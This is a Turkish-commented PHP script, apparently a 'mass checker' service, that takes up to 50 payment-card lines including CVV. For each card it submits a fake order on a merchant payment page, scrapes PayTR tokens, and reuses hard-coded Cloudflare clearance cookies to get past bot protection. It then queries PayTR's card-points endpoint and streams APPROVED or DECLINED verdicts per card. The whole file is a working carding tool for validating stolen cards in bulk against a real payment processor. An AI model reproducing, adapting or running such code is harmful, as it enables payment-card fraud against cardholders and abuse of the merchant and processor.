<?php
// PayTR Puan MASS Checker API
// Real-time SSE ile sonuç güncelleme

error_reporting(0);
set_time_limit(180); // 3 dakika timeout

// SSE Headers
header('Content-Type: text/event-stream');
header('Cache-Control: no-cache');
header('Connection: keep-alive');
header('X-Accel-Buffering: no'); // Nginx buffering devre dışı

// Flush fonksiyonu
function send_sse($data) {
    echo "data: " . json_encode($data, JSON_UNESCAPED_UNICODE) . "\n\n";
    if (ob_get_level() > 0) {
        ob_flush();
    }
    flush();
}

// ========================================
// Puan Kontrol Fonksiyonu
// ========================================
function check_card_points($card, $month, $year, $cvv) {
    // STEP 1: İlk istek - Ödeme formu gönderimi
    $url1 = "https://odeme.tekserelektronik.com.tr/";

    $ch1 = curl_init();
    curl_setopt($ch1, CURLOPT_URL, $url1);
    curl_setopt($ch1, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch1, CURLOPT_POST, true);
    curl_setopt($ch1, CURLOPT_ENCODING, "");
    curl_setopt($ch1, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch1, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch1, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch1, CURLOPT_TIMEOUT, 30);

    $headers1 = [
        'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
        'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
        'Accept-Language: tr-TR,tr;q=0.9',
        'Content-Type: application/x-www-form-urlencoded',
        'Origin: https://odeme.tekserelektronik.com.tr',
        'Referer: https://odeme.tekserelektronik.com.tr/',
    ];

    curl_setopt($ch1, CURLOPT_HTTPHEADER, $headers1);

    $postData1 = [
        'payment_client' => 'asdsds dasasd',
        'payment_email' => 'asd712667a76sd@asdasd.com',
        'payment_phone' => '5399109124',
        'payment_country' => 'Türkiye',
        'payment_provience' => 'asdasd',
        'payment_city' => 'asdasd',
        'payment_adress' => 'asd87 187d7878as das 12 adszsasd',
        'payment_company' => '',
        'payment_tax_no' => '1111111111110',
        'payment_tax_administration' => '',
        'payment_amount' => '1',
        'payment_note' => 'asd ad8712 78as a ds'
    ];

    curl_setopt($ch1, CURLOPT_POSTFIELDS, http_build_query($postData1));

    $response1 = curl_exec($ch1);
    $http_code1 = curl_getinfo($ch1, CURLINFO_HTTP_CODE);
    curl_close($ch1);

    if ($http_code1 !== 200 || empty($response1)) {
        return ['status' => 'error', 'message' => 'CONNECTION_ERROR', 'points' => '0'];
    }

    // Token çıkar
    preg_match('/<iframe src="https:\/\/www\.paytr\.com\/odeme\/guvenli\/([^"]+)"/', $response1, $token_match);
    $token = $token_match[1] ?? null;

    if (!$token) {
        return ['status' => 'error', 'message' => 'TOKEN_NOT_FOUND', 'points' => '0'];
    }

    // STEP 2: PayTR API - Token bilgileri
    $url2 = "https://www.paytr.com/odeme/api/oos/payment/get/token/" . $token;

    $ch2 = curl_init();
    curl_setopt($ch2, CURLOPT_URL, $url2);
    curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch2, CURLOPT_ENCODING, "");
    curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch2, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch2, CURLOPT_TIMEOUT, 30);

    $headers2 = [
        'Host: www.paytr.com',
        'Accept: application/json, text/plain, */*',
        'Accept-Language: tr-TR,tr;q=0.9',
        'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
        'Referer: https://www.paytr.com/odeme/guvenli/' . $token,
    ];

    curl_setopt($ch2, CURLOPT_HTTPHEADER, $headers2);

    $cookies2 = 'cf_clearance=F6JiFMnDy9UWfM_0tDXKz62RWfVhIdYHiWbrPS.6Bcw-1765429048-1.2.1.1-j4IsjZ9b.RY9RBDKX5Ueb7SvsM8TepUXYuO2nIYmUozBwySDVKa1HY1qIoVLgQBtjGQDfr31E7djAnNTzkOcGvQUqPgTnCSTpMQUDeBEFdxWEC1oQP4YHgjMf_iCaVShPg7GCJOzIZzA4zvI1d0wgVItmsnpxb7KyfbHvZxibrweDsqoGjdJPWFeF4N3Bghh7QRlcfOyEUrcikwC5vep_ZRK9LnvOZiutHti1RqLC_4';
    curl_setopt($ch2, CURLOPT_COOKIE, $cookies2);

    $response2 = curl_exec($ch2);
    $http_code2 = curl_getinfo($ch2, CURLINFO_HTTP_CODE);
    curl_close($ch2);

    if ($http_code2 !== 200 || empty($response2)) {
        return ['status' => 'error', 'message' => 'TOKEN_REQUEST_FAILED', 'points' => '0'];
    }

    // CSRF Token ve Merchant OID çıkar
    preg_match('/","csrfToken":"([^"]+)","force3d"/', $response2, $csrf_match);
    $csrftoken = $csrf_match[1] ?? null;

    preg_match('/","merchantOid":"([^"]+)","merchantLogo"/', $response2, $mercoid_match);
    $mercoid = $mercoid_match[1] ?? null;

    if (!$csrftoken || !$mercoid) {
        return ['status' => 'error', 'message' => 'CSRF_NOT_FOUND', 'points' => '0'];
    }

    // STEP 2.5: Kart detayları - Brand bilgisi al
    $url_details = "https://www.paytr.com/odeme/api/oos/card/details";

    $ch_details = curl_init();
    curl_setopt($ch_details, CURLOPT_URL, $url_details);
    curl_setopt($ch_details, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch_details, CURLOPT_POST, true);
    curl_setopt($ch_details, CURLOPT_ENCODING, "");
    curl_setopt($ch_details, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch_details, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch_details, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch_details, CURLOPT_TIMEOUT, 30);

    $headers_details = [
        'Host: www.paytr.com',
        'Accept: application/json, text/plain, */*',
        'Accept-Language: tr-TR,tr;q=0.6',
        'Content-Type: application/x-www-form-urlencoded',
        'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
        'Sec-Ch-Ua: "Brave";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
        'Sec-Ch-Ua-Mobile: ?0',
        'Sec-Ch-Ua-Platform: "Windows"',
        'Sec-Fetch-Site: same-origin',
        'Sec-Fetch-Mode: cors',
        'Sec-Fetch-Dest: empty',
        'Sec-Fetch-Storage-Access: none',
        'Sec-Gpc: 1',
        'Origin: https://www.paytr.com',
        'Referer: https://www.paytr.com/odeme/guvenli/' . $token,
        'Priority: u=1, i'
    ];

    curl_setopt($ch_details, CURLOPT_HTTPHEADER, $headers_details);

    $cookies_details = 'cf_clearance=verZVK.Jx6ryRKQnPBVDFnpsozZoNtTwCkHKmTzsGOQ-1765442106-1.2.1.1-daPFKBYRrxIjCDjHfwD7q8oFZ_gJyCJiA1UtIjLspVRBfaagTcvYAWytF5OCkC1plcWnR5tH1ymKGnisBkQlzMpfNqIOW9zroGmPYP2M4faWusO_td4DT78z8pZSVJkHZ.wgvxu6eje6jNw3B.43G56n0l3M9GFLQjtEvrwQrDTl4GHcnsH3NN0apsoIByyHfi7FWxDlzS3Dg7WNu.3WM3qB_AwhI38kOLJxux2JNbM';
    curl_setopt($ch_details, CURLOPT_COOKIE, $cookies_details);

    // BIN number (ilk 6 hane)
    $bin_number = substr($card, 0, 6);

    $postData_details = [
        'pageType' => 'iframe',
        'token' => $token,
        'csrfToken' => $csrftoken,
        'merchantOid' => $mercoid,
        'merchantId' => '205191',
        'binNumber' => $bin_number
    ];

    curl_setopt($ch_details, CURLOPT_POSTFIELDS, http_build_query($postData_details));

    $response_details = curl_exec($ch_details);
    $http_code_details = curl_getinfo($ch_details, CURLINFO_HTTP_CODE);
    curl_close($ch_details);

    // Brand bilgisini parse et
    $brand = 'maximum'; // Default
    if ($http_code_details === 200 && !empty($response_details)) {
        $json_details = json_decode($response_details, true);
        if (isset($json_details['data']['brand'])) {
            $brand = $json_details['data']['brand'];
        }
    }

    // STEP 3: Kart puanları kontrolü
    $url3 = "https://www.paytr.com/odeme/api/oos/card/points";

    $ch3 = curl_init();
    curl_setopt($ch3, CURLOPT_URL, $url3);
    curl_setopt($ch3, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch3, CURLOPT_POST, true);
    curl_setopt($ch3, CURLOPT_ENCODING, "");
    curl_setopt($ch3, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch3, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch3, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch3, CURLOPT_TIMEOUT, 30);

    $headers3 = [
        'Host: www.paytr.com',
        'Accept: application/json, text/plain, */*',
        'Accept-Language: tr-TR,tr;q=0.6',
        'Content-Type: application/x-www-form-urlencoded',
        'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
        'Origin: https://www.paytr.com',
        'Referer: https://www.paytr.com/odeme/guvenli/' . $token,
    ];

    curl_setopt($ch3, CURLOPT_HTTPHEADER, $headers3);

    $cookies3 = 'cf_clearance=aVufuk088zcpG7K5jtPR1suPvSis6eDzIg.sKDw6kUE-1765429702-1.2.1.1-FkTeAiGlbZLcoaovfpONE4yViy9g1ot8RkhOrQgUQHfPAsjWuOXFTpZe9T7myD_CJMPRJK4RW_QlPo77C2pZKdF9bCXc28Xpt_.bZfrHWFU7YVjIpFLoWmMAMMkp0bh4E4giTArrUgvigWDwbC4yFnroGBL4X1TOSq33FKv6g0hO0aIfEd5td0fqDgFw7MAO0HUkVFqf1BgsG5wvC2N41tHUjOuVb1q.kVTez_Bb8CU';
    curl_setopt($ch3, CURLOPT_COOKIE, $cookies3);

    $postData3 = [
        'pageType' => 'iframe',
        'token' => $token,
        'merchantId' => '205191',
        'merchantOid' => $mercoid,
        'csrfToken' => $csrftoken,
        'brand' => $brand,
        'amount' => '100',
        'number' => $card,
        'owner' => 'asdasd dassd',
        'month' => $month,
        'year' => $year
    ];

    curl_setopt($ch3, CURLOPT_POSTFIELDS, http_build_query($postData3));

    $response3 = curl_exec($ch3);
    $http_code3 = curl_getinfo($ch3, CURLINFO_HTTP_CODE);
    curl_close($ch3);

    if ($http_code3 !== 200) {
        return ['status' => 'error', 'message' => 'POINT_REQUEST_FAILED', 'points' => '0'];
    }

    // Response'u parse et
    $json_response = json_decode($response3, true);

    if (json_last_error() === JSON_ERROR_NONE && isset($json_response['status'])) {
        if ($json_response['status'] === 'success') {
            // Başarılı - puan bilgisi data->point içinde
            $points = $json_response['data']['point'] ?? '0';
            return ['status' => 'success', 'points' => $points];
        } else {
            // Hata mesajı - error->group'tan al
            $message = $json_response['error']['group'] ?? $json_response['message'] ?? 'UNKNOWN_ERROR';
            return ['status' => 'error', 'message' => $message, 'points' => '0'];
        }
    } else {
        return ['status' => 'error', 'message' => 'INVALID_RESPONSE', 'points' => '0'];
    }
}

// Kartları al
$cards_param = isset($_GET['cards']) ? $_GET['cards'] : '';
$cards_raw = explode("\n", trim($cards_param));

// Boş satırları temizle ve maksimum 50 kart
$cards = [];
foreach ($cards_raw as $card) {
    $card = trim($card);
    if (!empty($card)) {
        $cards[] = $card;
    }
    if (count($cards) >= 50) {
        break;
    }
}

$total = count($cards);

if ($total == 0) {
    send_sse([
        'type' => 'error',
        'message' => 'Kart bilgisi bulunamadı'
    ]);
    exit;
}

$results = [];

// Her kartı işle
foreach ($cards as $index => $card_line) {
    $num = $index + 1;
    
    // Kart bilgilerini parse et
    $kart_parts = explode('|', $card_line);
    
    if (count($kart_parts) != 4) {
        $results[] = [
            'number' => $num,
            'card' => $card_line,
            'points' => '0',
            'status' => 'DECLINED❌'
        ];
        
        // Progress gönder
        send_sse([
            'type' => 'progress',
            'current' => $num,
            'total' => $total,
            'results' => $results
        ]);
        
        continue;
    }
    
    $card_input = str_replace(' ', '', $kart_parts[0]);
    $month_input = $kart_parts[1];
    $year_input = substr($kart_parts[2], -2);
    $cvv_input = $kart_parts[3];
    
    // Ay formatı düzelt
    if (strlen($month_input) === 1) {
        $month_input = "0" . $month_input;
    }
    
    // Kart formatını kontrol et
    if (strlen($card_input) != 16) {
        $results[] = [
            'number' => $num,
            'card' => $card_line,
            'points' => '0',
            'status' => 'DECLINED❌'
        ];
        
        send_sse([
            'type' => 'progress',
            'current' => $num,
            'total' => $total,
            'results' => $results
        ]);
        
        continue;
    }
    
    // Puan kontrolü yap
    $point_result = check_card_points($card_input, $month_input, $year_input, $cvv_input);
    
    $points = $point_result['points'];
    $status = ($point_result['status'] === 'success' && (float)$points > 0) ? 'APPROVED✅' : 'DECLINED❌';
    
    // Sonuç ekle
    $results[] = [
        'number' => $num,
        'card' => $card_line,
        'points' => $points,
        'status' => $status
    ];
    
    // Progress gönder
    send_sse([
        'type' => 'progress',
        'current' => $num,
        'total' => $total,
        'results' => $results
    ]);
}

// Final sonuç
send_sse([
    'type' => 'complete',
    'total' => $total,
    'results' => $results
]);

?>
